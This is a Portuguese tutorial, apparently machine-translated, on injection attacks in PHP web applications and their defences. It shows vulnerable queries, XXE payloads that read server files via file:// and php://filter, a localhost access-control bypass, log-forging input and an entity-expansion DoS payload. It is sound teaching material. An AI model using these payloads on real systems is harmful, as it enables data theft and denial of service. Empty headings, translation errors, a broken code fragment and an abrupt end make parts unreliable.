Ataques de Injeção

O OWASP Top 10 lista (Injection Attacks) Injeção e Cross-Site Scripting (XSS) como os riscos de segurança mais comuns para aplicações web. De fato, eles andam de mãos dadas porque os ataques XSS são contingentes em um ataque de injeção bem-sucedido. Embora esta seja a parceria mais óbvia, a Injeção não se limita apenas a habilitar o XSS.

A injeção é uma classe inteira de ataques que dependem da injeção de dados em um aplicativo da Web para facilitar a execução ou interpretação de dados mal-intencionados de maneira inesperada. Exemplos de ataques nessa classe incluem XSS (Cross-Site Scripting), SQL Injection, Header Injection, Log Injection e Full Path Disclosure. Estou arranhando a superfície aqui.

Esta classe de ataques é o bicho papão de todo programador. Eles são os ataques mais comuns e bem-sucedidos na Internet devido a seus numerosos tipos, grande superfície de ataque e a complexidade às vezes necessária para protegê-los. Todos os aplicativos precisam de dados de algum lugar para funcionar. Cross-Site Scripting e IU Redress são, em particular, tão comuns que eu dediquei o próximo capítulo a eles e estes são geralmente categorizados separadamente de Injection Attacks como sua própria classe, dada a sua importância.

OWASP usa a seguinte definição para ataques de injeção:

As falhas de injeção, como SQL, SO e injeção LDAP, ocorrem quando dados não confiáveis ​​são enviados para um intérprete como parte de um comando ou consulta. Os dados hostis do invasor podem levar o intérprete a executar comandos não intencionais ou acessar dados não autorizados.

Injeção de SQL

De longe, a forma mais comum de ataque de injeção é o infame ataque SQL Injection. Injeções SQL não são apenas extremamente comuns, mas também muito mortais. Eu não posso enfatizar o suficiente a importância de entender este ataque, as condições sob as quais ele pode ser realizado com sucesso e os passos necessários para se defender contra ele.

As Injeções SQL operam injetando dados em uma aplicação web que é então usada em consultas SQL. Os dados geralmente vêm de uma entrada não confiável, como um formulário da web. No entanto, também é possível que os dados sejam provenientes de outra fonte, incluindo o próprio banco de dados. Os programadores muitas vezes confiam em dados de seus próprios bancos de dados, acreditando que são completamente seguros, sem perceber que ser seguro para um uso em particular não significa que seja seguro para todos os outros usos subsequentes. Os dados de um banco de dados devem ser tratados como não confiáveis, a menos que se prove o contrário, por exemplo, por meio de processos de validação.

Se bem sucedida, uma Injeção de SQL pode manipular a consulta SQL que está sendo direcionada para executar uma operação de banco de dados não pretendida pelo programador.

Considere a seguinte consulta:

$db = new mysqli('localhost', 'username', 'password', 'storedb');
$result = $db->query(
    'SELECT * FROM transactions WHERE user_id = ' . $_POST['user_id']
);

O acima tem várias coisas erradas. Em primeiro lugar, não validamos o conteúdo dos dados do POST para garantir que seja um user_id válido. Em segundo lugar, estamos permitindo que uma fonte não confiável nos informe qual user_id usar – um invasor pode definir qualquer user_id válido que deseje. Talvez o user_id estivesse contido em um campo de formulário oculto que acreditávamos ser seguro porque o formulário da web não permitiria que ele fosse editado (esquecer que os invasores podem enviar qualquer coisa). Em terceiro lugar, não escapamos do user_id ou o passamos para a consulta como um parâmetro vinculado que também permite que o invasor injete strings arbitrárias que podem manipular a consulta SQL, uma vez que falhamos em validá-la em primeiro lugar.

As três falhas acima são incrivelmente comuns em aplicações web.

Quanto à confiança nos dados do banco de dados, imagine que procuramos por transações usando um campo user_name. Os nomes são razoavelmente amplos no escopo e podem incluir citações. É possível que um invasor armazene uma string de injeção de SQL dentro de um nome de usuário. Quando reutilizamos essa cadeia em uma consulta posterior, ela manipularia a string de consulta se considerássemos o banco de dados como uma fonte confiável de dados e não conseguíssemos escapar ou vinculá-lo adequadamente.

Outro fator do SQL Injection para prestar atenção é que o armazenamento persistente nem sempre ocorre no servidor. O HTML5 suporta o uso de bancos de dados do lado do cliente que podem ser consultados usando o SQL com a ajuda do Javascript. Existem duas APIs que facilitam isso: WebSQL e IndexedDB. O WebSQL foi preterido pelo W3C em 2010 e é suportado pelos navegadores WebKit que usam o SQLite no backend. É provável que o suporte no WebKit continue para fins de compatibilidade com versões anteriores, embora não seja mais recomendado para uso. Como o próprio nome sugere, ele aceita consultas SQL e, portanto, pode ser suscetível a ataques de injeção de SQL. IndexedDB é a alternativa mais recente, mas é um banco de dados NOSQL (ou seja, não requer o uso de consultas SQL).

Exemplos de Injeção SQL

A tentativa de manipular consultas SQL pode ter objetivos, incluindo:

  1. Vazamento de informação
  2. Divulgação de dados armazenados
  3. Manipulação de dados armazenados
  4. Ignorando os controles de autorização
  5. Injeção de SQL do lado do cliente

Vazamento de Informações

Divulgação de dados armazenados

Manipulação de dados armazenados

Ignorando os controles de autorização

Defesas contra injeção de SQL

A defesa contra um ataque de injeção de SQL aplica o princípio de defesa em profundidade. Ele deve ser validado para garantir que esteja na forma correta que esperamos antes de usá-lo em uma consulta SQL e deve ser salvo antes de incluí-lo na consulta ou incluí-lo como um parâmetro vinculado.

Validação

O Capítulo 2 cobriu a Validação de Entrada e, como observei, devemos supor que todos os dados não criados explicitamente no código-fonte do PHP da solicitação atual devem ser considerados não confiáveis. Valide-o estritamente e rejeite todos os dados com falha. Não tente “consertar” os dados, a menos que faça pequenas alterações estéticas em seu formato.

Erros comuns de validação podem incluir a validação dos dados para seu uso atual (por exemplo, para fins de exibição ou cálculo) e não levar em conta as necessidades de validação dos campos da tabela de banco de dados aos quais os dados serão eventualmente armazenados.

Escapando

Usando a extensão mysqli, você pode escapar todos os dados incluídos em uma consulta SQL usando a função mysqli_real_escape_string (). A extensão pgsql do PostgresSQL oferece as funções pg_escape_bytea (), pg_escape_identifier (), pg_escape_literal () e pg_escape_string (). O mssql (Microsoft SQL Server) não oferece funções de escape e a abordagem addslashes () comumente recomendada é insuficiente – você realmente precisa de uma função personalizada [ http://stackoverflow.com/questions/574805/how-to-escape-strings-in -mssq-using-php ].

Só para lhe dar ainda mais dor de cabeça, você nunca pode deixar de escapar dos dados que entram em uma consulta SQL. Um deslize e possivelmente estará vulnerável a injeção de SQL.

Pelas razões acima, o escape não é realmente recomendado. Ele funcionará bem e poderá ser necessário se uma biblioteca de banco de dados usada para abstração permitir a configuração de consultas SQL nuas ou partes de consulta sem impor a vinculação de parâmetros. Caso contrário, você deve evitar a necessidade de escapar completamente. É confuso, propenso a erros e difere pela extensão do banco de dados.

Consultas parametrizadas (instruções preparadas)

Parametrização ou Parameter Binding é a maneira recomendada de construir consultas SQL e todas as boas bibliotecas de banco de dados usarão isso por padrão. Aqui está um exemplo usando a extensão PDO do PHP.

if(ctype_digit($_POST['id']) && is_int($_POST['id'])) {
    $validatedId = $_POST['id'];
    $pdo = new PDO('mysql:store.db');
    $stmt = $pdo->prepare('SELECT * FROM transactions WHERE user_id = :id');
    $stmt->bindParam(':id', $validatedId, PDO::PARAM_INT);
    $stmt->execute();
} else {
    // reject id value and report error to user
}

O método bindParam () disponível para instruções PDO permite vincular parâmetros aos espaços reservados presentes na instrução preparada e aceita um parâmetro de tipo de dados básico, como PDO :: PARAM_INT, PDO :: PARAM_BOOL, PDO :: PARAM_LOB e PDO :: PARAM_STR. Este padrão é PDO :: PARAM_STR se não for dado, então lembre-se de outros valores!

Ao contrário do escape manual, a associação de parâmetros desta maneira (ou qualquer outro método usado pela sua biblioteca de banco de dados) irá escapar corretamente dos dados sendo vinculados automaticamente para que você não precise lembrar qual função de escape usar. Usar a associação de parâmetro consistentemente também é muito mais confiável do que lembrar-se de escapar manualmente de tudo.

 

Reforçar o Princípio do Menor Privilégio

Colocar as quebras em uma Injeção de SQL bem-sucedida é tão importante quanto impedir que ela ocorra em primeiro lugar. Uma vez que um atacante adquire a capacidade de executar consultas SQL, ele o fará como um usuário específico do banco de dados. O princípio de privilégio mínimo pode ser aplicado garantindo que todos os usuários do banco de dados recebam apenas os privilégios que são absolutamente necessários para concluir as tarefas desejadas.

Se um usuário do banco de dados tiver privilégios significativos, um invasor poderá soltar tabelas e manipular os privilégios de outros usuários sob os quais o invasor pode executar outras Injeções SQL. Você nunca deve acessar o banco de dados a partir de um aplicativo da Web como raiz ou qualquer outro usuário altamente privilegiado ou de nível de administrador, para garantir que isso nunca aconteça.

Outra variante do princípio do Menor Privilégio é separar os papéis de ler e gravar dados em um banco de dados. Você teria um usuário com privilégios suficientes para executar gravações e outro usuário separado restrito a uma função somente leitura. Esse grau de separação de tarefas garante que, se uma Injeção de SQL tiver como alvo um usuário somente leitura, o invasor não poderá gravar ou manipular os dados da tabela. Essa forma de compartimentação pode ser estendida para limitar ainda mais o acesso e, assim, minimizar o impacto de ataques de injeção de SQL bem-sucedidos.

Muitos aplicativos da Web, especialmente aplicativos de código aberto, são projetados especificamente para usar um único usuário de banco de dados e esse usuário quase certamente nunca é verificado para ver se eles são altamente privilegiados ou não. Tenha isso em mente e não fique tentado a executar esses aplicativos em um usuário administrativo.

Injeção de código (também inclusão remota de arquivos)

A injeção de código se refere a qualquer meio que permita que um invasor injete o código-fonte em um aplicativo da Web, de modo que ele seja interpretado e executado. Isso não se aplica ao código injetado em um cliente do aplicativo, por exemplo, Javascript, que, em vez disso, se enquadra no domínio do Cross-Site Scripting (XSS).

O código-fonte pode ser injetado diretamente de uma entrada não confiável ou o aplicativo da Web pode ser manipulado para carregá-lo a partir do sistema de arquivos local ou de uma fonte externa como uma URL. Quando uma Injeção de Código ocorre como resultado da inclusão de um recurso externo, ela é comumente chamada de Inclusão Remota de Arquivo, embora um ataque RFI em si precise sempre ter a intenção de injetar código.

As principais causas da injeção de código são falhas de validação de entrada, inclusão de entrada não confiável em qualquer contexto em que a entrada pode ser avaliada como código PHP, falhas na proteção de repositórios de código-fonte, falhas no uso de bibliotecas de terceiros e erros de configuração do servidor que permitem que arquivos não-PHP sejam passados ​​para o interpretador PHP pelo servidor web. Atenção especial deve ser dada ao ponto final, pois significa que todos os arquivos enviados para o servidor por usuários não confiáveis ​​podem representar um risco significativo.

Exemplos de injeção de código

O PHP é bem conhecido por permitir uma miríade de alvos de Injeção de Código, garantindo que a Injeção de Código permaneça alta na lista de observação de qualquer programador.

Inclusão de arquivos

O alvo mais óbvio para um ataque de injeção de código são as funções include (), include_once (), require () e require_once (). Se a entrada não confiável puder determinar o parâmetro de caminho passado para essas funções, é possível influenciar qual arquivo local será incluído. Deve-se notar que o arquivo incluído não precisa ser um arquivo PHP real; qualquer arquivo incluído que seja capaz de transportar dados textuais (por exemplo, quase qualquer coisa) é permitido.

O parâmetro path também pode ser vulnerável a um Directory Traversal ou Remote File Inclusion. Usar a string ../ ou .. (dot-dot-slash) em um caminho permite que um invasor navegue para quase todos os arquivos acessíveis ao processo PHP. As funções acima também aceitarão uma URL na configuração padrão do PHP, a menos que XXX esteja desabilitado.

Avaliação

A função eval () do PHP aceita uma string de código PHP a ser executada.

Injeção de Expressões Regulares

A função preg_replace () da função PCRE no PHP permite um modificador “e” (PREG_REPLACE_EVAL) que significa que a string de substituição será avaliada como PHP após a subsituição. A entrada não confiável usada na string de substituição pode, portanto, injetar código PHP para ser executada.

Lógica de Inclusão de Arquivos com Falhas

Aplicativos da Web, por definição, incluirão vários arquivos necessários para atender a qualquer solicitação. Ao manipular o caminho da solicitação ou seus parâmetros, pode ser possível provocar o servidor a incluir arquivos locais não intencionais, aproveitando a lógica falha em seu roteamento, gerenciamento de dependência, carregamento automático ou outros processos.

Tais manipulações fora do que o aplicativo da Web foi projetado para manipular podem ter efeitos imprevisíveis. Por exemplo, um aplicativo pode expor involuntariamente rotas destinadas apenas ao uso da linha de comando. O aplicativo também pode expor outras classes cujos construtores executam tarefas (não é uma maneira recomendada de projetar classes, mas acontece). Qualquer um desses cenários pode interferir nas operações de back-end do aplicativo, levando à manipulação de dados ou a um potencial de ataques de negação de serviço (DOS) em operações que exigem muitos recursos e que não devem ser acessadas diretamente.

Configuração incorreta do servidor

Objetivos da injeção de código

O objetivo de um Code Injection é extremamente amplo, pois permite a execução de qualquer código PHP escolhido pelo atacante.

Defesas contra injeção de código

Injeção de comando

Exemplos de injeção de comando

Defesas contra injeção de comando

Injeção de Log (também Injeção de Arquivo de Log)

Muitos aplicativos mantêm um intervalo de logs que geralmente são exibidos para usuários autorizados a partir de uma interface HTML. Como resultado, eles são o principal alvo de invasores que desejam disfarçar outros ataques, enganar os revisores de registros ou até mesmo montar um ataque subsequente aos usuários do aplicativo de monitoramento usado para ler e analisar os registros.

A vulnerabilidade dos logs depende dos controles estabelecidos durante a gravação de logs e da garantia de que os dados de log são tratados como uma fonte de dados não confiável quando se trata de realizar qualquer monitoramento ou análise das entradas de log.

Um sistema de log simples pode gravar linhas de texto em um arquivo usando file_put_contents (). Por exemplo, um programador pode registrar tentativas de login com falha usando uma string do seguinte formato:

sprintf ( "Falha na tentativa de login por% s" ,  $ username );

E se o atacante usasse um nome de usuário no formulário “AdminnSuccessful login by Adminn”?

Se essa string, de entrada não confiável, fosse inserida no log, o invasor teria disfarçado com sucesso a tentativa de login com falha como uma falha inocente do usuário Admin para efetuar login. Adicionar uma tentativa de repetição bem-sucedida torna os dados ainda menos suspeitos.

Naturalmente, o ponto aqui é que um invasor pode anexar todos os tipos de entradas de log. Eles também podem injetar vetores XSS e até injetar caracteres para mexer com a exibição das entradas de log em um console.

Objetivos da Injeção de Log

A injeção também pode ter como alvo intérpretes de formato de registro. Se uma ferramenta analisadora usa expressões regulares para analisar uma entrada de log para dividi-la em campos de dados, uma cadeia injetada poderia ser cuidadosamente construída para garantir que a regex corresponda a um campo excedente injetado em vez do campo correto. Por exemplo, a entrada a seguir pode apresentar alguns problemas:

$username = "iamnothacker! at Mon Jan 01 00:00:00 +1000 2009";
sprintf("Failed login attempt by $s at $s", $username, )

Ataques mais nefastos usando a Injeção de Log podem tentar construir um ataque de Traversal de Diretório para exibir um registro em um navegador. Nas circunstâncias corretas, injetar código PHP em uma mensagem de log e chamar o arquivo de log no navegador pode levar a um meio bem-sucedido de injeção de código, que pode ser cuidadosamente formatado e executado à vontade pelo invasor. Suficiente disse lá. Se um atacante pode executar o PHP no servidor, é hora de acabar e esperar que você tenha Defesa em Profundidade suficiente para minimizar o dano.

Defesas contra injeção de log

A defesa mais simples contra as injeções de log é desinfetar todas as mensagens de log de saída usando uma lista de permissões de caracteres permitidos. Poderíamos, por exemplo, limitar todos os registros a caracteres e espaços alfanuméricos. As mensagens detectadas fora desta lista de caracteres podem ser interpretadas como corrompidas, levando a uma mensagem de log referente a uma potencial LFI para notificá-lo da possível tentativa. É um método simples para logs de texto simples, onde incluir qualquer entrada não confiável na mensagem é inevitável.

Uma defesa secundária pode ser codificar a porção de entrada não confiável em algo como base64, que mantém um perfil limitado de caracteres permitidos, enquanto ainda permite que uma ampla gama de informações seja armazenada em texto.

Path Traversal (também Directory Traversal)

Path Traversal (também Directory Traversal) Os ataques são tentativas de influenciar operações de back-end que leem ou gravam arquivos no aplicativo da Web, injetando parâmetros capazes de manipular os caminhos de arquivo empregados pela operação de back-end. Como tal, este ataque é um trampolim para atacar com sucesso o aplicativo, facilitando a divulgação de informações e a injeção de arquivos local / remoto.

Nós abordaremos esses tipos de ataques subseqüentes separadamente, mas o Path Traversal é uma das vulnerabilidades da raiz que permite a todos eles. Embora as funções descritas abaixo sejam específicas do conceito de manipulação de caminhos de arquivos, vale mencionar que muitas funções do PHP não aceitam simplesmente um caminho de arquivo no sentido tradicional da palavra. Em vez disso, funciona como include()ou file()aceita um URI no PHP. Isso parece completamente contra-intuitivo, mas significa que as duas chamadas de função a seguir usando caminhos de arquivo absolutos (ou seja, não depender do carregamento automático de caminhos de arquivos relativos) são equivalentes.

include (‘/var/www/vendor/library/classe.php’); include (‘ file: ///var/www/vendor/library/Class.php ‘);

O ponto aqui é que o manuseio relativo do caminho ( include_pathconfiguração do php.ini e autoloaders disponíveis), funções PHP como essa são particularmente vulneráveis ​​a muitas formas de manipulação de parâmetros, incluindo File URI Scheme Substitution, em que um invasor pode injetar um HTTP ou FTP URI se não for confiável os dados são injetados no início de um caminho de arquivo. Cobriremos isso com mais detalhes para os ataques de Inclusão remota de arquivos, por isso, por enquanto, vamos nos concentrar nas travessias de caminho do sistema de arquivos.

Em uma vulnerabilidade Path Traversal, o fator comum é que o caminho para um arquivo é manipulado para, em vez disso, apontar para um arquivo diferente. Isto é geralmente conseguido através da injecção de uma série de ../sequências (Dot-de Dot-barra) em um argumento que está apenso a, ou inseridas em toda uma função como include()require()file_get_contents()ou funções ainda menos suspeitos (para algumas pessoas), tais como DOMDocument::load().

A seqüência Dot-Dot-Slash permite que um invasor informe ao sistema para navegar ou voltar para o diretório pai. Assim, um caminho, como /var/www/public/../vendor realmente aponta para /var/www/public/vendor. A seqüência Dot-Dot-Slash depois de /publicvoltar para o pai desse diretório, ie /var/www. Como esse exemplo simples ilustra, um invasor pode usar isso para acessar arquivos que estão fora do /publicdiretório acessível a partir do servidor da web.

Obviamente, os percursos de caminho não são apenas para retrocesso. Um atacante também pode injetar novos elementos de caminho para acessar diretórios filhos que podem estar inacessíveis a partir de um navegador, por exemplo. devido a uma negação de toda diretiva em um .htaccess no diretório filho ou em um de seus pais. As operações do sistema de arquivos do PHP não se preocupam com o modo como o Apache ou qualquer outro servidor da Web é configurado para controlar o acesso a arquivos e diretórios não públicos.

Exemplos de PATH TRAVERSAL

Defesas contra PATH TRAVERSAL

Injeção XML

Apesar do advento do JSON como um meio leve de comunicação de dados entre um servidor e um cliente, o XML continua a ser uma alternativa viável e popular que geralmente é suportada em paralelo ao JSON por APIs de serviço da web. Fora dos serviços da Web, o XML é a base da troca de uma diversidade de dados usando esquemas XML, como RSS, Atom, SOAP e RDF, para citar apenas alguns dos padrões mais comuns.

O XML é tão onipresente que também pode ser encontrado em uso no servidor de aplicativos da Web, em navegadores como o formato escolhido para solicitações e respostas XMLHttpRequest e em extensões de navegador. Dada a sua utilização generalizada, XML pode apresentar um alvo atraente para ataques de injeção XML devido à sua popularidade eo tratamento predefinido de XML permitido por analisadores comuns XML como libxml2 que é utilizado por PHP no DOMSimpleXMLXMLReaderextensões. Quando o navegador é um participante ativo em uma troca XML, deve-se considerar XML como um formato de solicitação em que usuários autenticados, por meio de um ataque Cross-Site Scripting, podem estar enviando XML, que é realmente gravado por um invasor.

Injeção de Entidade Externa XML

Vulnerabilidades em uma Injeção de Entidade Externa XML (XXE) existem porque as bibliotecas de análise XML geralmente suportam o uso de referências de entidades personalizadas em XML. Você vai estar familiarizado com o complemento padrão de XML de entidades usados para representar caracteres de marcação especiais, tais como ><, e '. O XML permite expandir o conjunto de entidades padrão definindo entidades personalizadas no próprio documento XML. As entidades personalizadas podem ser definidas incluindo-as diretamente em umDOCTYPEe o valor expandido que eles representam pode referenciar um recurso externo a ser incluído. É essa capacidade do XML comum de carregar referências personalizadas que podem ser expandidas com o conteúdo de um recurso externo que dá origem a uma vulnerabilidade XXE. Em circunstâncias normais, entradas não confiáveis ​​nunca devem ser capazes de interagir com o nosso sistema de maneiras imprevistas e o XXE é quase certamente inesperado para a maioria dos programadores, tornando-se uma área de preocupação particular.

Por exemplo, vamos definir uma nova entidade personalizada chamada “inofensiva”:

<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>

Um documento XML com essa definição de entidade agora pode se referir ao & harmless; entidade em qualquer lugar onde as entidades são permitidas:

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless "completely harmless">]>
<results>
    <result>This result is &harmless;</result>
</results>

Um analisador XML como o PHP DOM, ao interpretar esse XML, processará essa entidade personalizada assim que o documento for carregado, de modo que a solicitação do texto relevante retorne o seguinte:

Este resultado é completamente inofensivo

As entidades personalizadas obviamente têm um benefício ao representar textos repetitivos e XML com entidades nomeadas mais curtas. Na verdade, não é tão incomum quando o XML deve seguir uma determinada gramática e onde as entidades personalizadas simplificam a edição. No entanto, de acordo com nosso tema de não confiar em insumos externos, precisamos ter muito cuidado com o que todo o XML que nosso aplicativo está consumindo é realmente adequado. Por exemplo, este definitivamente não é da variedade inofensiva:

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>

Dependendo do conteúdo do arquivo local solicitado, o conteúdo pode ser usado ao expandir o &harmless;A entidade e o conteúdo expandido podem então ser extraídos do analisador XML e incluídos na saída do aplicativo da Web para um invasor examinar, ou seja, dando origem à Divulgação de Informações. O arquivo recuperado será interpretado como XML, a menos que evite os caracteres especiais que acionam essa interpretação, tornando limitado o escopo da divulgação do conteúdo do arquivo local. Se o arquivo for interpretado como XML, mas não contiver XML válido, um erro será o provável resultado impedindo a divulgação do conteúdo. O PHP, no entanto, tem um “truque” disponível para contornar essa limitação de escopo e solicitações HTTP remotas podem, obviamente, ter um impacto sobre o aplicativo da Web, mesmo se a resposta retornada não puder ser comunicada ao invasor.

PHP oferece três métodos usados com freqüência de análise e consumir XML: PHP DOMSimpleXMLXMLReader. Todos os três usam a libxml2extensão e o suporte à entidade externa é ativado por padrão. Como conseqüência, o PHP tem uma vulnerabilidade por padrão para o XXE, o que torna extremamente fácil perder quando se considera a segurança de um aplicativo da Web ou uma biblioteca que consome XML.

Você também deve lembrar que XHTML e HTML5 podem ser ambos serializados como XML válido, o que pode significar que algumas páginas XHTML ou HTML5 serializadas com XML podem ser analisadas como XML, por exemplo, usando em DOMDocument::loadXML()vez de DOMDocument::loadHTML(). Esses usos de um analisador XML também são vulneráveis ​​à injeção de entidade externa XML. Lembre-se que libxml2atualmente não reconhece o HTML5 DOCTYPEe, portanto, não pode validá-lo como seria para DOTHYPES XHTML.

Exemplos de injeção de entidade externa XML

Conteúdo do Arquivo e Divulgação de Informações

 

Anteriormente encontramos um exemplo de Divulgação de Informações, observando que uma entidade personalizada em XML poderia fazer referência a um arquivo externo.

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]>
<results>
    <result>&harmless;</result>
</results>

 

Isso expandiria a &harmless;entidade personalizada com o conteúdo do arquivo. Como todas essas solicitações são feitas localmente, ela permite a divulgação do conteúdo de todos os arquivos aos quais o aplicativo tem acesso de leitura. Isso permitiria que atacantes examinassem arquivos que não estão disponíveis publicamente, caso a entidade expandida fosse incluída na saída do aplicativo. O conteúdo do arquivo que pode ser divulgado neste documento é significativamente limitado – eles devem ser XML ou um formato que não faça com que a análise XML gere erros. Essa restrição pode, no entanto, ser completamente ignorada no PHP:

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=/var/www/config.ini"
    >
]>
<results>
    <result>&harmless;</result>
</results>

PHP permite o acesso a um invólucro PHP em forma URI como um dos protocolos aceitos pelas funções do sistema de arquivos comuns, como file_get_contents()require()require_once()file()copy()e muitos mais. O wrapper do PHP suporta vários filtros que podem ser executados em um determinado recurso para que os resultados sejam retornados da chamada de função. No caso acima, usamos o convert.base-64-encode filtro no arquivo de destino que queremos ler.

O que isso significa é que um invasor, por meio de uma vulnerabilidade XXE, pode ler qualquer arquivo acessível em PHP, independentemente de seu formato textual. Tudo o que o invasor precisa fazer é basear a saída 64 do produto que recebe do aplicativo, e eles podem dissecar o conteúdo de uma ampla variedade de arquivos não públicos com impunidade. Embora isso não esteja diretamente causando danos aos usuários finais ou ao back-end do aplicativo, ele permite que os invasores aprendam bastante sobre o aplicativo que estão tentando mapear, o que pode permitir que eles detectem outras vulnerabilidades com o mínimo de esforço e risco de descoberta .

Ignorando os controles de acesso

Os controles de acesso podem ser ditados de várias maneiras. Como os ataques XXE são montados no back-end para um aplicativo da Web, não será possível usar a sessão do usuário atual para qualquer efeito, mas um invasor ainda pode ignorar os controles de acesso do backend em virtude de fazer solicitações do servidor local. Considere o seguinte controle de acesso primitivo:

if (isset($_SERVER['HTTP_CLIENT_IP'])
    || isset($_SERVER['HTTP_X_FORWARDED_FOR'])
    || !in_array(@$_SERVER['REMOTE_ADDR'], array(
        '127.0.0.1',
        '::1',
    ))
) {
    header('HTTP/1.0 403 Forbidden');
    exit(
        'You are not allowed to access this file.'
    );
}
 

Este trecho do PHP e muitos outros semelhantes são usados ​​para restringir o acesso a certos arquivos PHP para o servidor local, isto é, localhost. No entanto, uma vulnerabilidade XXE no frontend do aplicativo realmente fornece ao atacante as credenciais exatas necessárias para ignorar esse controle de acesso, pois todas as solicitações HTTP do analisador XML serão feitas a partir do host local.

<?xml version="1.0"?>
<!DOCTYPE results [
    <!ENTITY harmless SYSTEM
    "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php"
    >
]>
<results>
    <result>&harmless;</result>
</results>
 

Se a visualização de registros estiver restrita a solicitações locais, o invasor poderá conseguir acessar os registros de qualquer maneira. O mesmo raciocínio se aplica a interfaces de manutenção ou administração cujo acesso é restrito dessa maneira.

Negação de Serviço (DOS)

Quase tudo o que pode ditar como os recursos do servidor são utilizados pode ser usado para gerar um ataque do DOS. Com a Injeção de Entidade Externa XML, um invasor tem acesso para fazer solicitações HTTP arbitrárias que podem ser usadas para esgotar os recursos do servidor nas condições corretas.

Veja abaixo também para outros potenciais usos do DOS de ataques XXE em termos de Expansões de Entidades XML.

Defesas contra injeção de entidade externa XML

Considerando os benefícios muito atrativos deste ataque, pode ser surpreendente que a defesa seja extremamente simples. Como DOMSimpleXMLXMLReadertodos dependem libxml2, podemos simplesmente usar a libxml_disable_entity_loader()função para desabilitar a resolução de entidades externas. Isso não desabilita as entidades personalizadas que são predefinidas em um, uma DOCTYPEvez que elas não fazem uso de recursos externos que exigem uma operação do sistema de arquivos ou uma solicitação HTTP.

$oldValue = libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$dom->loadXML($xml);
libxml_disable_entity_loader($oldValue);

Você precisaria fazer isso para todas as operações que envolvem o carregamento de XML de uma string, arquivo ou URI remoto.

Onde entidades externas nunca são requeridas pelo aplicativo ou pela maioria de suas solicitações, você pode simplesmente desativar o carregamento de recursos externos em uma base mais global que, na maioria dos casos, será muito mais preferível localizar todas as instâncias de carregamento XML, carregando em mente, muitas bibliotecas provavelmente são escritas com vulnerabilidades inatas do tipo XXE presentes:

libxml_disable_entity_loader(true);
 

Lembre-se de redefinir isso novamente para TRUEdepois de qualquer ativação temporária do carregamento de recursos externos. Um exemplo de um processo que requer entidades externas de maneira inocente é renderizar Docbook XML em HTML, onde o estilo XSL é dependente de entidades externas.

Esta libxml2função não é, por um meio, uma bala de prata. Outras extensões e bibliotecas PHP que analisam ou lidam com XML precisam ser avaliadas para localizar seu switch “off” para resolução de entidades externas.

No caso em que o tipo de mudança de comportamento acima não é possível, você pode alternativamente verificar se um documento XML declara a DOCTYPE. Em caso afirmativo, e entidades externas não são permitidas, você pode simplesmente descartar o documento XML, negando o acesso XML não confiável a um analisador potencialmente vulnerável e registrá-lo como um provável ataque. Se você registrar ataques, isso será um passo necessário, já que não há outros erros ou exceções para pegar a tentativa. Essa verificação deve ser incluída em suas rotinas normais de validação de entrada. No entanto, isso está longe de ser ideal e é altamente recomendável corrigir o problema da entidade externa em sua origem.

/**
 * Attempt a quickie detection
 */
$collapsedXML = preg_replace("/[:space:]/", '', $xml);
if(preg_match("/<!DOCTYPE/i", $collapsedXml)) {
    throw new \InvalidArgumentException(
        'Invalid XML: Detected use of illegal DOCTYPE'
    );
}
 

Também vale a pena considerar que é preferível simplesmente descartar dados que suspeitamos serem o resultado de um ataque, em vez de continuar processando-os ainda mais. Por que continuar a se envolver com algo que mostre todos os sinais de ser perigoso? Portanto, a mesclagem de ambas as etapas acima tem o benefício de ignorar proativamente dados ruins e, ao mesmo tempo, protegê-lo, caso o descarte de dados esteja além do seu controle (por exemplo, bibliotecas de terceiros). Descartar os dados torna-se totalmente mais atraente por outro motivo declarado anteriormente – libxml_disable_entity_loader()não desabilita completamente as entidades personalizadas, apenas aquelas que fazem referência a recursos externos. Isso ainda pode ativar um ataque de Injeção relacionado chamado Expansão de Entidade XML, o qual nos encontraremos a seguir.

Expansão de Entidade XML

A Expansão de Entidade XMl é um pouco semelhante à Expansão de Entidade XML, mas se concentra principalmente em habilitar um ataque de Denial Of Service (DOS) ao tentar esgotar os recursos do ambiente de servidor do aplicativo de destino. Isso é obtido na Expansão de Entidade XML criando uma definição de entidade personalizada nos XMLs DOCTYPEque poderia, por exemplo, gerar uma estrutura XML muito maior na memória do que o tamanho original do XML sugeriria, permitindo que esses ataques consumissem recursos essenciais para manter a Web. servidor operando eficientemente. Esse ataque também se aplica à serialização XML de HTML5, que atualmente não é reconhecida como HTML pela libxml2extensão.

Exemplos de Expansão de Entidade XML

Existem várias abordagens para expandir as entidades customizadas XML para obter o efeito desejado de esgotar os recursos do servidor.

Expansão de Entidade Genérica

Também conhecido como “Quadratic Blowup Attack”, um ataque de expansão de entidade genérica, uma entidade personalizada é definida como uma string extremamente longa. Quando a entidade é usada inúmeras vezes em todo o documento, a entidade é expandida a cada vez que leva a uma estrutura XML que requer significativamente mais RAM do que o tamanho XML original sugere.

<?xml version="1.0"?>
<!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]>
<results>
    <result>Now include &long; lots of times to expand
    the in-memory size of this XML structure</result>
    <result>&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    &long;&long;&long;&long;&long;&long;&long;&long;
    Keep it going...
    &long;&long;&long;&long;&long;&long;&long;...</result>
</results>

 

Equilibrando o tamanho da string de entidade personalizada e o número de usos da entidade no corpo do documento, é possível criar um arquivo ou string XML que será expandido para usar uma quantidade previsível de RAM do servidor. Ao ocupar a RAM do servidor com solicitações repetitivas dessa natureza, seria possível montar um ataque bem-sucedido de negação de serviço. A desvantagem da abordagem é que o XML inicial deve ser bastante grande, pois o consumo de memória é baseado em um efeito multiplicador simples.

Expansão de Entidade Recursiva

Where generic entity expansion requires a large XML input, recursive entity expansion packs more punch per byte of input size. It relies on the XML parser to exponentially resolve sets of small entities in such a way that their exponential nature explodes from a much smaller XML input size into something substantially larger. It’s quite fitting that this approach is also commonly called an “XML Bomb” or “Billion Laughs Attack”.

<?xml version="1.0"?>
